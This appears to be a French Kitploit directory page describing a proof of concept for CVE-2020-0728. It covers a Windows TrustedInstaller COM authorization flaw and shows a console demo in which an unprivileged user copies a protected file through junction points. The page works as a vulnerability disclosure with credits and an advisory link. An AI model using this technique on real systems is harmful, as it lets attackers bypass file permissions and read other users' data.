Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-0728 — Code de preuve de concept pour CVE-2020-0728 | Kitploit
Outils/GitHubGitHub/irsl/cve-2020-0728
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationPost-ExploitationExploitation de Binaires
GitHubirsl/cve-2020-0728

CVE-2020-0728

Code de preuve de concept pour CVE-2020-0728

Voir le dépôt
4612il y a 6 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2020-0728

Détails

Le service TrustedInstaller.exe fonctionne en tant que NT_AUTHORITY\SYSTEM et héberge le service COM Sxs Store Class (3C6859CE-230B-48A4-BE6C-932C0C202048) ainsi que l'interface ISxsStore. Les autorisations d'accès (O:BAG:BAD:(A;;CCDCLC;;;PS)(A;;CCDC;;;SY)(A;;CCDC;;;BA)(A;;CCDC;;;IU)(A;;CCDC;;;SU)) de ce service accordent l'accès à tout utilisateur sur le système local. L'interface ISxsStore expose 4 méthodes :

root@kitploit:~
[Guid("8601319a-d7cf-40f3-9025-7f77125453c6")]
interface ISxsStore : IUnknown {
    HRESULT BeginAssemblyInstall(/* Stack Offset: 8 */ [In] int p0);
    HRESULT InstallAssembly(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] wchar_t* p1, /* Stack Offset: 24 */ [In] struct Struct_0* p2, /* Stack Offset: 32 */ [In] struct Struct_1* p3);
    HRESULT EndAssemblyInstall(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [Out] int* p1);
    HRESULT UninstallAssembly(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] wchar_t* p1, /* Stack Offset: 24 */ [In] struct Struct_1* p2, /* Stack Offset: 32 */ [In] int* p3);
}

Lors de l'invocation, l'implémentation appelle l'interface ICbsWorker hébergée par TiWorker.exe (également en tant que NT_AUTHORITY\SYSTEM) pour obtenir une session ICbsSession8 et appelle ensuite pratiquement les mêmes méthodes sur cette interface. La logique réelle est implémentée dans la bibliothèque sxsstore.dll ; l'autorisation se trouve dans CSxsStore::BeginAssemblyInstall :

root@kitploit:~
uVar1 = SxspEnsureComClientIsAdmin((void **)this);

Cela est réalisé à l'aide des appels CoImpersonateClient+CheckTokenMembership.

Le problème est que si la session hébergée par le processus TiWorker.exe est invoquée via le wrapper TrustedInstaller.exe, la logique d'autorisation implémentée rencontre toujours des connexions provenant de NT_AUTHORITY\SYSTEM et accorde donc l'accès à tout le monde.

Les assemblys demandés à installer sont placés sous C:\Windows\WinSXS par l'implémentation résidant dans wcp.dll (Windows::COM::CComponentStore::InternalTransact) et semble comporter des mesures de sécurité suffisantes pour empêcher ces appels de méthode de s'échapper de ce répertoire de destination légitime, mais les fichiers sources référencés par le manifeste peuvent être abusés via des points de jonction.

Cela peut être exploité pour contourner le DAC du système de fichiers et lire n'importe quel fichier sur le système de fichiers local, comme démontré ci-dessous :

root@kitploit:~
	Microsoft Windows [Version 10.0.18362.592]
	(c) 2019 Microsoft Corporation. All rights reserved.

	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami
	desktop-43rnlku\unprivileged

	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami /priv

	PRIVILEGES INFORMATION
	----------------------

	Privilege Name                Description                          State
	============================= ==================================== ========
	SeShutdownPrivilege           Shut down the system                 Disabled
	SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
	SeUndockPrivilege             Remove computer from docking station Disabled
	SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
	SeTimeZonePrivilege           Change the time zone                 Disabled


	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini"
	Access is denied.


	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>sxscopy.exe "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini" profiles.ini
	sxscopy: C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini => profiles.ini
	Creating helper junction sxscopy.junction -> C:\
	Junction created for sxscopy.junction <<===>> C:\
	Executing DCOM magic with manifest file C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon\sxscopy.manifest
	Exploitation has succeeded, copy of the source file was placed inside WinSXS
	Copy has succeeded!

	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type profiles.ini
	[Install308046B0AF4A39CB]
	Default=Profiles/5bqqo33l.default
	Locked=1

	[Profile2]
	Name=johndoe
	IsRelative=1
	Path=Profiles/5bqqo33l.default
	Default=1

	[Profile1]
	Name=default
	IsRelative=1
	Path=Profiles/x89vbmzf.default

	[Profile0]
	Name=default-release
	IsRelative=1
	Path=Profiles/1kmhc44f.default-release

	[General]
	StartWithLastProfile=1
	Version=2

Le framework wcp est en réalité assez complexe et comporte divers 'installateurs' (par exemple, l'exécution de GenericCommand parmi les 'avancés'), mais l'interface accessible ci-dessus semble être limitée aux seuls 'installateurs primitifs'. J'ai pu déclencher l'exécution de CRegistryInstaller::CommitChanges qui a émis un journal dans C:\Windows\Logs\CBS\CBS.log, avec des lignes comme :

root@kitploit:~
2020-01-18 15:58:16, Info                  CSI    0000000c Registry installer wrote xxx values

Mais en réalité, il n'a jamais vraiment appelé de méthodes API pour modifier quoi que ce soit dans le registre.

Crédits

Le rapport ci-dessus ainsi que le code PoC ont été soumis par Imre Rad mais ont également été identifiés par des chercheurs de NCC (en fait quelques mois plus tôt).

Liens

https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0728

Télécharger l’outil